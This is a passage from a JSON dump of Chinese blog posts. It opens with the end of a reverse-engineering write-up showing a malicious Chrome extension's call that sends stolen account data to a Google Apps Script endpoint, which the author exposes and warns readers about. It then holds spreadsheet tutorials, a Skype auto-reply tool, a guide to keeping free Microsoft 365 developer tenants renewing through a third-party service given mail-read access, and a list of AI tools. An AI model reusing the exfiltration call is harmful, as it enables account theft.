RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj) }) 等等... 这个插件描述的功能是成为 Facebook 小组管理员的插件,相关的代码呢??完全没找到和描述功能相关的代码,纯粹是一个盗号插件啊! 请不要随意从网上下载来源不明插件或者软件,因为它们可能包含病毒和恶意软件,有时候并不会被杀毒软件查杀,这样会导致个人信息和账号被盗。建议只从官方和受信任的来源下载插件或插件。 ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"}],"title":"Chrome 插件代码逆向分析","feature":"https://dev-coco.github.io/post-images/Chrome-Extension-Reverse-Engineering.jpg","link":"https://dev-coco.github.io/post/Chrome-Extension-Reverse-Engineering/","stats":{"text":"11 min read","time":600000,"words":2109,"minutes":11},"date":"2023-03-05 07:56:19","dateFormat":"2023-03-05"},{"content":"Skype 自动回复用户自定义消息。 下载链接:Chrome 插件合集 作用 由于 Skype 社交软件原生没有自动回复等便捷功能,当咨询量大,消息多或者离开的时候,往往会出现回复不及时的情况,那么自动回复就能很好的解决这个问题。 设置 安装插件后,点击右键,选项,进行设置。 循环时间 以秒为单位,每次循环扫描界面的间隔时间。例如设置 30,那么每 30 秒就会循环扫描一次界面,检测是否有新消息。修改后不会实时生效,需要刷新 Skype 网页版后才能生效。 音量 默认在发送消息之前会发出 🔔叮~ 的声音,可以自行调节音量声音的大小。 需要回复的内容 填写需要自动回复的内容,必须包含「自动回复」。 使用方法 打开 Skype 网页版后,需要在左侧的聊天列表显示出最新聊天的联系人。因为程序只会扫描当前界面显示出来的联系人,如果当前界面不显示最新发消息的联系人,那么此功能就无法正常使用。 点击插件后,会在左上角显示开始按钮,点击按钮后即可按照设置的参数自动运行。 开始运行后不能关闭浏览器,进程也不能被冻结,否则会无法正常运行。 相关推荐 禁用 Skype 自动更新 禁用 Squirrel 框架自动更新 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Skype 自动回复","feature":"https://dev-coco.github.io/post-images/Skype-Auto-Reply.png","link":"https://dev-coco.github.io/post/Skype-Auto-Reply/","stats":{"text":"2 min read","time":81000,"words":399,"minutes":2},"date":"2023-02-22 03:57:49","dateFormat":"2023-02-22"},{"content":"类似 ARRAYFORMULA 函数实现数组输出的效果。 LAMBDA LAMBDA 是一个自定义函数,允许将一个完整的公式封装成函数重复使用。 语法 LAMBDA(变量, 公式) 例子1 将 A1 的值乘以 20。 简单的写法是 =A1 * 20,不过下面会演示 LAMBDA 函数计算的原理。 =LAMBDA(x, x * 20)(A1) 第一个参数是变量,x 是自定义的变量,A1 是引用的内容。A1 的值会被赋值到 x 变量,x 的结果同等于 A1。 第二个参数是公式,将 x 变量乘以 20,同等于 A1 * 20。最后输出的结果是 200。 例子2 计算两个数的平均值。 =LAMBDA(x, y, (x + y) / 2)(A1, B1) LAMBDA 函数支持同时设置多个变量,并且按照顺序赋值。因为需要计算两个数的平均值,所以就设置两个变量对应不同的值,这里用的是 x 和 y。A1 的值赋值到 x 变量,B1 的值赋值到 y 变量。 同等于 (A1 + B1) / 2,最后输出的结果是 56。 MAP MAP 函数必需搭配 LAMBDA 一起使用,MAP 函数会将引用范围的每一个值应用到 LAMBDA 函数中。 语法 MAP(范围, LAMBDA) 例子 计算 A1 到 A5 范围所有内容乘以 20 的结果。 MAP 函数会将 A1 到 A5 的每一个内容,循环应用到 LAMBDA 函数中,再由 LAMBDA 函数的自定义公式计算输出结果。 最后会以数组的形式输出结果。 组合使用 MAP 和 LAMBDA 组合使用的效果和 ARRAYFORMULA 函数很像,但是有的函数不支持 ARRAYFORMULA 函数数组输出,但是可以使用 MAP 和 LAMBDA 组合,例如:SUMIF、SUMIFS、GOOGLETRANSLATE 等等... 下面以 GOOGLETRANSLATE 函数为例子,将 GOOGLETRANSLATE 作为 LAMBDA 的公式,配合 MAP 函数,将 A1 到 A4 循环应用到 LAMBDA 中翻译,最后以数组的格式输出。 相关推荐: Google Excel 性能优化 - 数组输出 Google Excel IMPORTRANGE 数组输出 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel LAMBDA 和 MAP 组合函数","feature":"https://dev-coco.github.io/post-images/Google-Excel-LAMBDA-MAP-Function.jpg","link":"https://dev-coco.github.io/post/Google-Excel-LAMBDA-MAP-Function/","stats":{"text":"2 min read","time":114000,"words":501,"minutes":2},"date":"2023-02-18 07:26:20","dateFormat":"2023-02-18"},{"content":"使用节约性能的方式达到预期效果。 适用场景 数据源在一个表格,但是需要在另外一个表格进行计数。 不是最佳方案的例子 A 列日期,B 列是棋子的颜色,需要在另外一个表格统计这些日期不同棋子的颜色有多少个。 例子一 将完整的数据 IMPORTRANGE 跨表引用到另外一个表格,然后进行计数。 这样的方式计数要比在数据源表格计数还要多消耗 IMPORTRANGE 的性能,不是太理想。 例子二 在 COUNTIFS 计数的时候,用 IMPORTRANGE 跨表引用数据,然后进行计数。 这种方式非常非常不推荐,极其消耗性能,每个单元格都需要使用 IMPORTRANGE 跨表引用两遍,甚至要比例子一要多消耗好几倍的性能。 优化思路 在数据源表格进行计数,然后再引用,或者根据需要的数据创建辅助表再进行计数。 实例一 在数据源表格先进行计数,然后将计数好的内容再跨表引用到当前表格。 实例二 将 A 列的日期和 B 列的棋子颜色一起排重,那么剩下来的就是每天不重复的棋子,再将排重后的内容进行计数。 最后将这三列的内容跨表引用的另外一个表格进行计算,这种方式引用的内容要比最原始的数据量小很多,而且使用起来更加灵活。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 跨表计数","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Cross-Count-Data.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Cross-Count-Data/","stats":{"text":"2 min read","time":84000,"words":411,"minutes":2},"date":"2023-02-16 17:47:17","dateFormat":"2023-02-16"},{"content":"Microsoft 全家桶包含:Microsoft Word、Microsoft Excel、Microsoft OneNote、Microsoft Outlook、Microsoft PowerPoint 和 OneDrive。 .post-content img {width:80%} 申请 Microsoft 365 开发者计划 点击 Microsoft 365 开发者计划申请,点击 「Join now」。 登陆微软的 Outlook 或者 Hotmail 邮箱,如果没有的话就注册一个新的账号。 登陆账号后,会要求输入开发人员的基本资料。 「国家/地区」选择「United States」 「公司」自定义输入一个单位名称 「语言首选项」选择自己常用的语言 然后把条款勾选,点击「下一步」。 接下来会要求做选择题 「作为开发人员,你的主要关注点是什么?」,任意选择一个,点击「下一步」。 继续选择一个,点击「保存」。 选择「可配置沙盒」,点击「下一步」。 按照提示的内容填完表单,点击「继续」。 输入电话号码,接收短信验证码进行验证。 然后就完成注册了。 领取 OneDrive 5TB 空间 点击 OneDrive 5TB 空间,登陆刚才注册好的 Microsoft 365 E5 账号,也就是包含 onmicrosoft.com 域名的账号。 登陆后选择开发者账号。 点击左侧的「设置」,如果页面一直循环刷新无法正常加载,尝试点击 链接 进入设置页面。 点击 OneDrive 存储限制,将默认存储空间改成 5120 GB,同等于 5TB 的存储空间,点击「保存」。 不过需要登陆 Microsoft 365 E5 账号或者子账号才能使用。 开通子账号 如果想把 OneDrive 5TB 和 Microsoft 365 分享给其他账号使用,点击 Microsoft 365 管理中心,找到「用户管理」,点击「添加用户」,一共有 25 个配额。 按照要求填入姓氏、名字、显示名称和用户名,点击「下一步」。 分配产品许可证,勾选「Microsoft 365 E5 开发者(不包括 Windows 和音频会议)」,点击「下一步」。 可选设置不需要设置,直接点「下一步」。 点击「添加完毕」。 然后上面会显示账号和密码,保存好账密码。 下载 Microsoft 365 应用 从 Microsoft 365 管理中心 找到 Microsoft 365 应用,点击「安装应用」。 耐心等待下载完成。 下载完软件后,登陆 Microsoft 365 E5 账号,或者是开通好的子账号,就会看到 Microsoft 365 订阅的许可证。 自动续订 因为 Microsoft 365 E5 账号免费使用期只有 3 个月,不过可以使用自动续订功能,让他一直免费续订下去。 点击 Microsoft Azure,登陆 Microsoft 365 E5 账号。 点击「新注册」 输入名称,默认选择「仅此组织目录(仅 Raz1ner - 单一租户)中的帐户」即可,点击「注册」。 注册完成后会获得「应用程序(客户端) ID」、「对象 ID」、「目录(租户) ID」,将这些信息都保存好。 点击左侧的「证书和密码」并且点击「新增用户端密码」 按照界面提示的内容填写表单,填好后点击添加。 「说明」可以填写任意内容。 「截止期限」自定义 「启动」今天日期 「结束」两年后(最多只能选择两年) 添加完成后,会显示一个「值」,将这一段代码保存好。 点击左侧的「API 权限」并且「添加权限」。 选择「Microsoft Graph」 选择「应用程序权限」。 搜索「mail」然后将 Mail 展开,勾选「Mail.Read」、「Mail.ReadBasic」、「Mail.ReadBasic.All」、「Mail.ReadWrite」接着再点击「添加权限」。 点击「代表 Raz1ner 授予管理员同意」再点击「是」 接下来要设置 Microsoft 365 E5 账号自动续订功能。点击 E5续订,然后登陆。 点击中间的 Github 图标,登陆 Github 账号。 点击「Authorize luoye663」 再点击「返回个人中心」 点击「获取回调地址」 然后会生成一个回调链接,不要将此链接泄露给其他人。 回到 Microsoft Azure 应用注册 页面,选择应用程序。 点击「添加重定向 URI」 点击「添加平台」 选择「Web」应用程序 在「重定向 URI」放入刚才生成好的回调链接,点击「配置」。 回到 E5 续订 页面,点击「新建应用」。 输入名称,点击「确定」。 点击右边的「配置」。 按照要求输入对应的内容,输入完成后点击「下一步」。 「应用程序(客户端) ID」放入客户端 ID 「客户端密码」放入证书和密码的值 「租户ID」放入目录(租户) ID 调用设置默认值就可以,不需要修改,点击「下一步」。 点击去授权。 选择 Microsoft 365 E5 账号进行授权。 状态显示运行中就代表已经成功了,到期后就会自动续费,不用担心开发者账号过期的问题了。 理论上只要能够正常自动续费就能一直使用下去,不过客户端密码的期限最多是两年,两年后可以再更新一次密码。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"免费领取 Microsoft 全家桶和 OneDrive 5TB","feature":"https://dev-coco.github.io/post-images/Microsoft-365-Free.png","link":"https://dev-coco.github.io/post/Microsoft-365-Free/","stats":{"text":"5 min read","time":264000,"words":1221,"minutes":5},"date":"2023-02-15 02:07:50","dateFormat":"2023-02-15"},{"content":"从网络上收集的 AI 人工智能网站。 名字 类型 网站链接 简介 Masterpiece Studio 3D https://masterpiecestudio.com 使用 AI 简化 3D 创作。传统的 3D 创作工具过于复杂。现代创作者只想创造,而不是迷失在细节中。产生。编辑。部署。 G3DAI {Jedi} 3D https://g3d.ai 只需添加文本提示,即可创建您需要的任何 3D 资源。由突破性的人工智能提供支持。 Ponzu 3D https://www.ponzu.gg 使用 AI 生成的纹理对 3D 资产进行调味。 PrometheanAI 3D https://www.prometheanai.com Promethean AI 是世界上第一个与艺术家合作的人工智能,协助他们构建虚拟世界,并通过提出想法帮助创造性地解决问题。 Leonardo.Ai 3D https://leonardo.ai 创造力,革命性的 以 AI 驱动的速度和风格一致性为您的创意项目生成生产质量的资产。 Mirageml 3D https://www.mirageml.com 快速生成 3D 设计。只需使用文本来描述您想要的内容,Mirage 的人工智能平台就会生成 3D 网格和纹理。 Pixela AI 3D https://pixela.ai 人工智能生成的游戏纹理。所有这些图像都是使用深度学习文生图模型算法生成的。上传您生成的纹理与社区分享! Kaedim 3D https://www.kaedim3d.com 2D 图像到 3D 模型。使用 AI 在线自动将 2D 转换为 3D。 Kinetix 3D https://www.kinetix.tech 用于免费创建 3D 动画的无代码平台。把自己带到元宇宙。无需技能。 Poly 3D https://withpoly.com 使用 AI 在几秒钟内生成纹理。仅通过文本提示即可创建无限高分辨率、完全自定义、商业许可的纹理。 DeepMotion 3D https://www.deepmotion.com/ Animate 3D 允许您通过使用实时身体跟踪将视频转换为 3D 动画,用于游戏、增强/虚拟现实和其他应用程序。 Scenario 3D https://www.scenario.gg 人工智能生成的游戏资产。为您的游戏创建高质量、风格一致的专有资产。 Luma AI 3D https://lumalabs.ai 以逼真的 3D 捕捉。无与伦比的真实感、反射和细节。VFX 的未来就在现在,属于每个人! Plask 3D https://plask.ai 人工智能驱动的动捕动画工具 GET3D (Nvidia) 3D https://nv-tlabs.github.io/GET3D 从图像中学习的高质量 3D 纹理形状的生成模型。 Imagine 3D 3D https://captures.lumalabs.ai Imagine 3D 是使用文本制作 3D 原型的早期实验。随着质量和可用性的提高,我们将扩大对一代的访问 Dream Up (Deviant Art) 艺术 https://www.dreamup.com DeviantArt DreamUp™ 让您在知道创作者及其作品受到公平对待的情况下创作 AI 艺术。用人工智能的力量创造任何你能想象到的图像!通过 5 个免费提示尝试 DreamUp。 NightCafe Studio 艺术 https://creator.nightcafe.studio 人工智能艺术生成器。使用人工智能的力量创造惊人的艺术作品。 Midjourney 艺术 https://www.midjourney.com/home/ 基于 Stable Diffusion 的 AI 艺术生成器。他们的网站将他们描述为“一个独立的研究实验室,探索新的思想媒介并扩展人类的想象力。” Artbreeder 艺术 https://www.artbreeder.com 前所未有的工艺 AI 艺术 Wombo 艺术 https://www.wombo.art 使用 AI 的力量创作精美的艺术品。输入一个提示,选择一种艺术风格,然后观看 WOMBO Dream 在几秒钟内将您的想法变成一幅由 AI 驱动的绘画。 Neural.love Art Generator 艺术 https://neural.love 免费的 AI 艺术生成器,已生成超过 500 万张图像。想象一下:你通过向 AI 扔 2-3 个词来创造出令人惊叹的杰作。这不再是科幻小说了。 Playground AI 艺术 https://playgroundai.com Playground AI 是一个免费使用的在线 AI 图像创建器。用它来创作艺术、社交媒体帖子、演示文稿、海报、视频、徽标等。 Libraire 艺术 https://libraire.ai 最大的 AI 生成图像库。搜索通过深度学习文生图模型生成的 1000 万张图像和提示。 Mage 艺术 https://www.mage.space 免费、快速且未经过滤的 Stable Diffusion,文本到图像的 AI🔥 ArtroomAI 艺术 https://artroom.ai 下载深度学习文生图模型的本地 GUI。无需编写任何代码即可制作精美的 AI 生成艺术作品。 Dreamlike.art 艺术 https://dreamlike.art 借助 AI 的力量,在几秒钟内创作出令人惊叹的原创艺术作品。神奇的人工智能工具。创建无穷无尽的原始图像,修改现有图像等等。 DiffusionBee 艺术 https://diffusionbee.com 使用 Stable Diffusion 在您的计算机上生成 AI 艺术的最简单方法。 Civitai 艺术 https://civitai.com Civitai是AI艺术生成社区唯一的模型共享中心!免费使用,开源,并不断改进。 Lexica 艺术 https://lexica.art 深度学习文生图模型搜索引擎。 AI Picasso 艺术 https://aipicasso.studio.site 用强大的人工智能创造艺术。它会根据您输入的文本生成图像,就像您期望使用名为 Stable Diffusion 的 AI 一样。AI 完成填充区域。您可以根据提示编辑填充区域。 Fy! Studio 艺术 https://www.iamfy.co/studio 将您的想法变成独特的墙壁艺术。只需输入您的想法,我们就会将它们变成一件前所未见的壁画。 DaVinciFace 艺术 https://www.davinciface.com 唯一可以根据您的照片创建达芬奇风格肖像的 AI。 ArtHub 艺术 https://arthub.ai 众包 AI 艺术。探索 AI 生成的设计、图像、艺术和顶级社区艺术家和设计师的提示。 Super Prompt 艺术 https://superprompts.com 无需离开 Twitter 即可为您的 AI 艺术创建精美的画廊。 PicSo 艺术 https://picso.ai 给 AI 艺术创作者的文本。将您的文字变成令人难以置信的高质量艺术品。 Daft Art 艺术 https://daftart.ai AI 专辑封面生成器。创建您梦寐以求的专辑封面! Clipdrop 艺术 https://clipdrop.co 由人工智能提供支持的面向所有创作者的应用程序、插件和资源的终极生态系统。在几秒钟内创建令人惊叹的视觉效果。 Openart 艺术 https://openart.ai 搜索 1000 万+ DALL·E 生成的 AI 艺术和提示 2、Midjourney、Stable Diffusion Altered 音频编辑 https://www.altered.ai 增强你的声音。我们独特的技术允许您将您的声音更改为我们精心策划的组合或自定义声音中的任何一种,并创造出引人入胜的专业声音表演。 Adobe Podcast 音频编辑 https://podcast.adobe.com 提供 2 个免费的快速工具来增强您的内容的音频。增强语音 - 通过消除所有背景噪音和回声来增强语音。Mic Check - 从您的麦克风中解锁高品质声音。主要产品承诺提供 AI 驱动的音频录制和编辑,所有这些都在网络上,并且正在等待名单中。 Podcastle 音频编辑 https://podcastle.ai 广播故事的一站式商店。适用于播客或处理长视频创作的任何人的出色 AI 工具。工作室品质的录音、人工智能编辑和无缝导出——所有这些都在一个基于网络的平台上。 Cleanvoice AI 音频编辑 https://cleanvoice.ai 停止浪费时间编辑您的播客。Cleanvoice 是一种人工智能,可以从您的播客或录音中去除填充音、口吃和口音。 Audio Strip 音频编辑 https://www.audiostrip.co.uk/ 免费近乎完美的乐器和人声隔离! Voicemod 音频编辑 https://www.voicemod.net/ 立即免费下载 Voicemod,一款有趣又可怕的语音转换器应用程序。具有使您听起来像女孩或机器人的效果的语音转换器和修改器 DreamPic.AI 头像 https://dreampic.ai/ 由 AI 生成的图片为您主演 为您和您的朋友创建 AI 生成的头像、用户图片和个人资料图片。上传您的照片,让 AI 完成这项工作。由 Stable Diffusion 和 DreamBooth 提供支持。 Vana Portrait 头像 https://portrait.vana.com 你是一件艺术品。Vana 的“Portrait”是一个生成式艺术工作室,可以为您创建无限风格的自画像。 Hairgen AI 头像 https://www.hairgen.ai 有没有想过头发移植后你会是什么样子?在您花费数千美元进行 FUE/FUT 程序之前,先预览一下您的样子。立即使用 AI 查看您的发际线。 Avatarify 头像 https://avatarify.art/ 使用人工智能创建个性化头像。他们的技术可以让您生成栩栩如生的人物、动物甚至虚构人物形象。只需为您租用的 GPU 付费。如果您不喜欢,他们会重新渲染头像。 AI Time Machine 头像 https://www.myheritage.com/ai-time-machine 上传您自己的照片以创建令人难以置信的 AI 生成图像。使用 AI Time Machine 穿越历史。 Beb.ai 头像 https://beb.ai Beb.AI 允许您生成自己、动物或著名人物的化身。为您的品牌接收无尽的创意内容。 PictoDream 头像 https://pictodream.com/ 使用 AI 生成您自己的图像。使用简单的文字描述将任何人置于任何风格或环境中。 Ready Player Me 头像 https://readyplayer.me/ Metaverse 的跨游戏头像平台。一个化身,许多世界等待探索。 Gemsouls 头像 https://www.mygemsouls.com/ 结识、结交并创建虚拟角色。肩负着让宝石般的虚拟人栩栩如生的使命。 Theoasis 头像 https://theoasis.com/ 创建可在每个视频平台上使用的逼真头像。 Arti.pics 头像 https://www.arti.pics/ Arti.pics 是人工智能化身制作工具。它允许您上传几张自己的照片,并生成 200 多个不同风格的酷炫头像。 Profile Picture AI 头像 https://www.profilepicture.ai 使用 AI 创建完美的头像。人们在查看您的个人资料时首先看到的是您的个人资料图片。我们使用人工智能生成您的形象,看起来很完美并能捕捉到您的真实身份。你可以是任何人、任何地方或任何人! NeuralStudio 头像 https://neural.cam/studio Neural Studio 是一个一体化的照片和艺术工作室,由最新的 AI 技术提供支持,使创作者能够轻松实现他们的创作目标。 Character AI 头像 https://beta.character.ai 智能代理居住的地方! PhotoAI 头像 https://photoai.me/ 创建自己的 AI 照片。以我们最好的艺术风格生成 30 张您自己的照片。 Avatar AI 头像 https://avatarai.me 创建您自己的 AI 生成头像。 Digirama 头像 https://apps.apple.com/us/app/character-creator-digirama/id6444673721 Digirama 是一款 AI 角色创建器,可作为移动应用程序使用。 Inworld 头像 https://www.inworld.ai 栩栩如生的 AI 角色,可以进行开放式对话。问他们任何事情。专为游戏、娱乐和虚拟世界打造。 HairstyleAI 头像 https://www.hairstyleai.com 使用我们强大的 AI 技术生成不同的发型。看看哪一个最适合你。适用于男性和女性理发。 In3D 头像 https://in3d.io/ 把人变成逼真的化身!使用手机摄像头在一分钟内为您的元宇宙、游戏或应用程序创建逼真且可自定义的头像。 Reface AI 头像 https://hey.reface.ai 一款用于在 GIF 和视频中换脸的 AI 应用程序。他们的 AI Avatar 功能允许创建高质量的艺术品般的肖像(适用于 iOS 和 Android)。上传10张照片,等待一个小时。获得 48 件独特的艺术作品,以您自己为主角,采用各种艺术风格——从超级英雄到赛博朋克。 Unrealme 头像 https://unrealme.io 获取 AI 生成的您的图像。 Lensa 头像 https://prisma-ai.com/lensa Lensa 是一款用于自拍和照片修饰的图片编辑器。该应用程序有许多图片过滤器,可以拍出甜美的自拍,去除任何模糊背景或进行任何其他必要的编辑。凭借其简单的功能和照片效果,您可以让每张照片一年 365 天都完美无缺。捕捉难忘的瞬间,并进行必要的照片编辑,及时定格每一刻。您不需要照相馆或暗室,因为几秒钟内您的桃色自拍就准备好了。 CodeSquire 代码助手 https://codesquire.ai 面向数据科学家、工程师和分析师的 AI 代码编写助手。在您键入时获取代码完成和建议。 Buildt 代码助手 https://www.buildt.ai 人工智能搜索通过搜索代码的作用来查找代码,而不仅仅是它是什么。一旦你找到代码库的一部分,他们的 AI 就可以让你简单地通过描述你想要的东西来进行更改 Hey, GitHub! 代码助手 https://githubnext.com/projects/hey-github 此工具可帮助您在不接触键盘的情况下编写代码。它通过与 GitHub copilot 交谈,使用您的声音进行编码,而无需打字。 WhatTheDiff 代码助手 https://whatthediff.ai 您的人工智能代码审查助手。通过自动化拉取请求摘要来节省昂贵的开发人员时间。打开拉取请求并在几秒钟内获得更改摘要。立即了解小型拉取请求的含义,并在大型拉取请求上抢占先机。 Maverick 代码助手 https://www.trymaverick.com Maverick 是一种由 AI 提供支持的代码完成工具。Maverick 建于 Yurts,专注于在不接触任何 API 或知识库的情况下在本地机器上提供最佳代码完成。 Continual 代码助手 https://continual.ai/ 现代数据堆栈的操作 AI。Continual 是现代数据堆栈的领先运营 AI 平台。无需复杂的工程,即可构建永不停止改进的预测模型。免费试用。 Lookup 代码助手 https://app.uselookup.com 在几秒钟内从您的数据中获得答案。Lookup 是 AI 驱动的分析平台,可帮助您以 10 倍的速度从数据获得洞察力。导入您的数据,提出问题,立即获得结果。 Clippy AI 代码助手 https://marketplace.visualstudio.com/items?itemName=clippy-ai Clippy AI(VS 代码扩展)是 OpenAI Codex 的简单包装器。它允许您向 Codex 发送您的当前文件以及一些纯文本英语说明。然后它会在您的编辑器中打开一个差异视图,以便您可以轻松查看建议的更改并接受或拒绝它们。 Mutable 代码助手 https://mutable.ai 使用 AI 以生产质量快速构建。 Fig AI 代码助手 https://fig.io/user-manual/ai 作为现有终端的无缝附加组件,Fig 集成了最流行的终端、shell 和 IDE。 BlackBox AI 代码助手 https://www.useblackbox.io/ BlackBox AI 是一款由 AI 驱动的编码助手,因此您的编码速度可以提高 10 倍。它使您能够将任何问题转化为代码和功能,例如从任何视频和代码自动完成中提取代码。 CodeAssist 代码助手 https://plugins.jetbrains.com/plugin/20085-codeassist CodeAssist(适用于 Intellij)是用于编程的 AI 助手/聊天机器人/副驾驶。根据您要进行的更改的描述,它会生成或更改代码。安装后,您可以通过单击左下角的“CodeAssist”选项卡打开它。CodeAssist 适用于所有流行的编程语言。 Programminghelper 代码助手 https://www.programming-helper.com/ 在 AI 的帮助下更快地编写代码。只需键入文本描述即可生成代码。AI 将为您创建代码。现在测试一下。 Copilot 代码助手 https://github.com/features/copilot 您的 AI 结对程序员。GitHub Copilot 使用 OpenAI Codex 直接从您的编辑器实时建议代码和整个功能。 AskCodi 代码助手 https://www.askcodi.com 编写语法、注释和测试。快点。更轻松。更好的。AskCodi 牢记开发人员的需求以避免冗余任务,因此减少了开发时间,增加了执行时间。 Amazon CodeWhisperer 代码助手 https://aws.amazon.com/codewhisperer/ Amazon CodeWhisperer 是一项由机器学习 (ML) 提供支持的服务,可根据开发人员在集成开发环境 (IDE) 中以自然语言和代码发表的评论生成代码建议,从而帮助提高开发人员的工作效率。 Cheat Layer 代码助手 https://cheatlayer.com/ 无代码业务自动化。作弊层使用无代码工具和机器学习的组合来解决不可能的业务自动化问题,以充当您的个人软件工程师。 AI CLI 代码助手 https://github.com/abhagsain 开源 GPT -3 Powered CLI 当前提示长度为 ~840 个令牌,1K 令牌的 text-davinci-002 定价为 0.02 美元,即 ~0.017 美元/命令。我们将看看是否可以通过微调改善响应并降低每条命令的成本。 CodeGeeX 代码助手 https://huggingface.co/spaces/THUDM/CodeGeeX CodeGeeX 是一个拥有 130 亿参数的大规模多语言代码生成模型,在超过 20 种编程语言的大型代码语料库上进行预训练。CodeGeeX 支持 15 种以上的代码生成和翻译编程语言 Maverick 代码助手 https://marketplace.visualstudio.com/items?itemName=YurtsAI.maverick& Maverick 是一种由 AI 提供支持的代码完成工具。Maverick 建于 Yurts,专注于在不接触任何 API 或知识库的情况下在本地机器上提供最佳代码完成。 Tabnine 代码助手 https://www.tabnine.com 无论您是团队的一员,还是独立工作的开发人员,Tabnine 都将帮助您更快地编写代码——一切都在您最喜欢的 IDE 中进行。 Spellbox 代码助手 https://spellbox.app/ 忙碌程序员的AI编码助手。使用 AI 在几秒钟内解决任何编程或工程问题 Stenography 代码助手 https://stenography.dev/ 最后。自动文档。 Replit 代码助手 https://replit.com Replit 最近添加了一项名为 Ghostwriter 的功能,该功能使用 AI 来完成代码。使用功能强大的 IDE、编译器和解释器 Replit,在浏览器中以 50 多种语言编写和运行代码。 Codeium 代码助手 https://www.codeium.com/ Codeium 是现代编码超级大国,是一种基于尖端 AI 技术构建的代码加速工具包。通过轻松集成到编辑器中,您可以专注于成为最好的软件开发人员,而不是最好的代码猴子。 Hypotenuse ai 文案 https://hypotenuse.ai/ 使用 AI 文案写作将几个关键词变成原创的、有洞察力的文章、产品描述和社交媒体文案——这一切只需几分钟。今天免费试用。 Bertha.ai 文案 https://bertha.ai 最有价值的 AI 文案助理 - 事实!永久免费获得 5,000 个单词。Bertha AI - WordPress 及其他软件的文案助理。 Digital First AI 文案 https://digitalfirst.ai 使用 AI 在几秒钟内制定营销计划。借助 AI 为您的企业找到最佳的增长黑客策略。将营销切换到自动驾驶模式并实现增长。 Botowski 文案 https://www.botowski.com/ Botowski 是您的新个人 AI 撰稿人。 VEG3 文案 https://veg3.ai 加入世界上第一个纯素人工智能营销助理的 Beta 测试。 Daydrm.ai 文案 https://www.daydrm.ai 用于创意广告创意的 AI 工具。创意和机构的按需概念。一种针对人工编写的创意广告活动进行训练的大型语言模型。 https://unbounce.com 文案 https://jasper.ai 借助人工智能,创建内容的速度提高 10 倍。Jasper 是质量最高的 AI 文案写作工具,拥有超过 3,000 条 5 星评论。最适合撰写博客文章、社交媒体内容和营销文案。 Peppertype.ai 文案 https://www.peppertype.ai 您的虚拟内容助手,可帮助您在几秒钟内生成高质量的内容。 unbounce 文案 https://unbounce.com 构思、迭代和编写定制的、高质量的、引人入胜的专业文案。在 Web 应用程序、便捷的桌面应用程序和 Chrome 扩展程序之间,将 Smart Copy 带到您最喜欢的工具中。 Easy-Peasy.AI 文案 https://easy-peasy.ai/ 使用 🤖 AI 工具更快更轻松地完成文案写作。您还可以使用我们的 AI 头像生成器来生成头像。Easy-Peasy.AI 相信每个人都有一个故事要讲。借助我们的 AI 文案写作工具,我们可以帮助您以最引人入胜的方式讲述您的故事。 Simplified 文案 https://simplified.com/ai-writer Simplified AI Writer 是一款免费的人工智能文案写作助手,可为博客、文章、产品描述、网站和社交媒体生成高质量的内容。 CopyMonkey 文案 https://copymonkey.ai/ CopyMonkey 在几秒钟内生成并优化亚马逊列表。AI 帮助将所有重要的关键词放在您的亚马逊列表中,让您在首页上自然排名。 Anyword 文案 https://anyword.com Anyword 的 AI 写作助手可为任何人生成有效的文案。使用可转换的 AI 文案工具,消除营销文本中的猜测。 Lek 文案 https://lek.ai/ Lek 是一个 AI 文案工具。这是创建内容和复制的最快、最简单的方法。Lek AI 帮你写任何东西。 Copysmith 文案 https://copysmith.ai/ 为电子商务团队和机构选择的人工智能文案软件。产生比以往更多的收入。立即注册免费试用。 Copy.ai 文案 www.copy.ai 获得畅销的副本。Copy.AI 是一款人工智能文案,可为您的企业生成高质量的文案。免费开始,无需信用卡!营销更简单! Cowriter 文案 https://cowriter.org/ 厌倦了盯着空白屏幕?认识您的 AI 撰稿人,他们可以创作鼓舞人心的创意内容。 Contents 文案 https://contents.com 加强您的内容策略。生成式 AI 平台使内容创建变得简单,并且专为性能而构建。 Creator AI 文案 https://www.creaitor.ai/ Creaitor 帮助您以更强大、更能表达情感的方式编写内容。 Adcreative.ai 文案 https://adcreative.ai 在几秒钟内生成以转化为重点的广告和社交媒体帖子创意。在节省时间的同时获得更好的结果。 WiziShop 文案 https://wizishop.com/ai 使用 WiziShop 的人工智能编写您的电子商务产品描述,为您未来的文章寻找灵感,轻松走向国际,并为您的商店带来更多流量! Rytr 文案 https://rytr.me/ Rytr 是一款 AI 写作助手,可帮助您在短短几秒钟内以极低的成本创建高质量的内容! Unbound 文案 https://www.unboundcontent.ai 为您的小型企业自动创建内容。在一个地方利用所有最好的 AI 生成工具,旨在为小型企业、在线商店和创作者自动创建内容。 texti 文案 https://texti.app 存在于您的浏览器中的 AI!它将与您合作,提升您的内容质量! Ocoya 文案 https://www.ocoya.net 一个可以更快地创建、自动生成和安排内容的平台。内容营销、文案写作和社交媒体只需几分钟! BotDistrikt 顾客服务 https://www.botdistrikt.com BotDistrikt 是适合您业务的完整聊天机器人解决方案。 Poly ai 顾客服务 https://poly.ai/ 超人语音助手。24/7 全天候立即接听每个电话。无需代理。 Kore.ai 顾客服务 https://kore.ai/ 推动 AI 优化的客户和员工体验。我们是对话式 AI 技术的全球领导者,帮助公司在语音和数字渠道上为其客户、代理和员工提供非凡的体验。 viable 顾客服务 https://www.askviable.com/ 在不影响质量的情况下自动执行定性数据分析。 Vee 顾客服务 https://vee.ai/en/ 人们喜欢与之交谈的聪明顾问。Vee 已经与 500 万波兰人进行了交谈,有效地为来自不同行业的数十家公司实施了业务流程。 Quickchat 顾客服务 https://www.quickchat.ai Quickchat 使销售、客户支持、入职或在线预订等流程自动化。 Forethought 顾客服务 